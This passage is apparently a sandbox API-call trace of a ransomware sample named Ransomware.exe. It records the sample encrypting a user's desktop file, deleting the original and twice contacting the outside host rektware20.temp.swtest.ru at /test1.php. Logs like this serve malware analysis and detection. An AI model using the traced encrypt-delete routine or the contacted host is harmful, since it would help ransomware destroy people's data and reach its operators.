lpMsg=0x130ec34) returned 0 [0076.215] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0076.215] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.215] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0076.216] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0076.216] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0076.216] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.216] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0076.216] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0076.216] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.216] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.216] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.216] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.216] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.216] WriteFile (in: hFile=0x3c8, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x3480, lpOverlapped=0x0) returned 1 [0076.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.218] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.218] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0076.219] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0076.219] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.219] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0076.219] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0076.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621318, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0076.219] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0076.219] CryptDestroyKey (hKey=0x164c630) returned 1 [0076.219] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0076.220] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0076.220] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0076.220] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0076.220] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0076.220] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0076.220] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0076.220] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0076.220] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0076.220] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0076.220] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0076.220] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0076.220] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0076.220] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0076.220] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.221] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0076.221] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.221] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0076.221] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.221] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0076.221] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.221] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0076.221] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0076.221] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.221] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.221] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0076.221] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0076.221] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0076.222] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0076.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0076.222] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0076.222] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0076.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.222] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.222] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0076.222] FreeLibrary (hLibModule=0x74c60000) returned 1 [0076.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.223] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0076.223] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.223] CloseHandle (hObject=0x3d8) returned 1 [0076.224] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.224] CloseHandle (hObject=0x3c8) returned 1 [0076.226] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.227] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0076.227] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", lpFilePart=0x0) returned 0x33 [0076.227] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\p71rw8cdg5npvgfq1.flv")) returned 0x20 [0076.227] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7b0 [0076.227] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\p71rw8cdg5npvgfq1.flv")) returned 1 [0076.301] FindNextFileW (in: hFindFile=0x164c7b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0076.302] FindClose (in: hFindFile=0x164c7b0 | out: hFindFile=0x164c7b0) returned 1 [0076.302] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 1 [0076.302] TranslateMessage (lpMsg=0x130f3bc) returned 0 [0076.302] DispatchMessageW (lpMsg=0x130f3bc) returned 0x0 [0076.302] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ea20) returned 1 [0076.312] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0076.312] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0076.313] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0076.313] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0076.313] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0076.313] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0076.313] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0076.314] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0076.314] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0076.314] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0076.315] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0076.315] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0076.315] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0076.315] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c) returned 1 [0076.316] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0076.316] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0076.317] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0076.318] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0076.318] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0076.318] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0076.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0076.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0076.318] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0076.319] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0076.319] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0076.319] CloseHandle (hObject=0x0) returned 0 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.319] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ransomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ansomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nsomware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="somware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="omware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ware.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="are.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="re.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e.exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0076.320] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="exe", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0076.320] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0076.320] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0076.321] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0076.321] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0076.321] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0076.321] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0076.321] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0076.321] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0076.321] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c) returned 1 [0076.321] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0076.321] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0076.321] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0076.322] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0076.322] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0076.322] 